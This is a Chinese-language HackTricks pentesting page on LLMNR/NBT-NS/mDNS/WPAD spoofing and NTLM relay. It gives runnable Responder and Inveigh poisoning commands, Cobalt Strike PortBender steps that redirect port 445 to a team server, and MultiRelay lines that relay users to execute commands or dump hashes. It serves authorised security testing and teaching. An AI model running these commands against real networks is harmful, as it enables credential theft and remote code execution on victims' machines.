Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 8 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
网络协议
本地主机解析协议
- LLMNR, NBT-NS 和 mDNS:
- 微软和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。类似地,苹果和 Linux 系统使用 mDNS。
- 由于这些协议在 UDP 上的未认证广播特性,它们容易受到拦截和欺骗。
- Responder 可用于通过向查询这些协议的主机发送伪造响应来冒充服务。
- 有关使用 Responder 进行服务冒充的更多信息,请参见 这里。
Web 代理自动发现协议 (WPAD)
- WPAD 允许浏览器自动发现代理设置。
- 发现通过 DHCP、DNS 进行,如果 DNS 失败则回退到 LLMNR 和 NBT-NS。
- Responder 可以自动化 WPAD 攻击,将客户端引导到恶意 WPAD 服务器。
Responder 用于协议中毒
- Responder 是一个用于中毒 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型选择性响应,主要针对 SMB 服务。
- 它预装在 Kali Linux 中,可在
/etc/responder/Responder.conf
进行配置。 - Responder 在屏幕上显示捕获的哈希并将其保存在
/usr/share/responder/logs
目录中。 - 它支持 IPv4 和 IPv6。
- Windows 版本的 Responder 可在 这里 获取。
运行 Responder
- 使用默认设置运行 Responder:
responder -I <Interface>
- 进行更激进的探测(可能有副作用):
responder -I <Interface> -P -r -v
- 捕获 NTLMv1 挑战/响应以便于破解的技术:
responder -I <Interface> --lm --disable-ess
- 可以通过以下命令激活 WPAD 冒充:
responder -I <Interface> --wpad
- NetBIOS 请求可以解析为攻击者的 IP,并可以设置身份验证代理:
responder.py -I <interface> -Pv
使用 Responder 进行 DHCP 中毒
- 伪造 DHCP 响应可以永久中毒受害者的路由信息,提供比 ARP 中毒更隐蔽的替代方案。
- 这需要对目标网络配置的精确了解。
- 运行攻击:
./Responder.py -I eth0 -Pdv
- 这种方法可以有效捕获 NTLMv1/2 哈希,但需要小心处理以避免网络中断。
使用 Responder 捕获凭据
- Responder 将使用上述协议冒充服务,当用户尝试对伪造的服务进行身份验证时捕获凭据(通常是 NTLMv2 挑战/响应)。
- 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便于凭据破解。
重要的是要注意,使用这些技术应合法和道德,确保获得适当的授权,避免干扰或未经授权的访问。
Inveigh
Inveigh 是一个针对渗透测试人员和红队成员的工具,专为 Windows 系统设计。它提供与 Responder 类似的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 Inveigh 和 InveighZero。详细参数和说明可以在 wiki 中找到。
Inveigh 可以通过 PowerShell 操作:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
或作为 C# 二进制文件执行:
Inveigh.exe
NTLM Relay Attack
此攻击利用 SMB 认证会话访问目标机器,如果成功则授予系统 shell。关键前提条件包括:
- 认证用户必须在中继主机上具有本地管理员访问权限。
- SMB 签名应禁用。
445 端口转发和隧道
在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 PortBender 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动程序加载的本地管理员访问权限可用时至关重要。
PortBender 在 Cobalt Strike 中的设置和操作:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM 继电攻击的其他工具
- Metasploit: 设置代理、本地和远程主机详细信息。
- smbrelayx: 一个用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
- MultiRelay: Responder 套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。
每个工具都可以配置为通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。
MultiRelay 操作
MultiRelay 从 /usr/share/responder/tools 目录执行,针对特定 IP 或用户。
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
这些工具和技术形成了一套全面的工具,用于在各种网络环境中进行 NTLM Relay 攻击。
强制 NTLM 登录
在 Windows 中,您可能能够强制某些特权账户对任意机器进行身份验证。请阅读以下页面以了解如何操作:
Force NTLM Privileged Authentication
参考文献
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。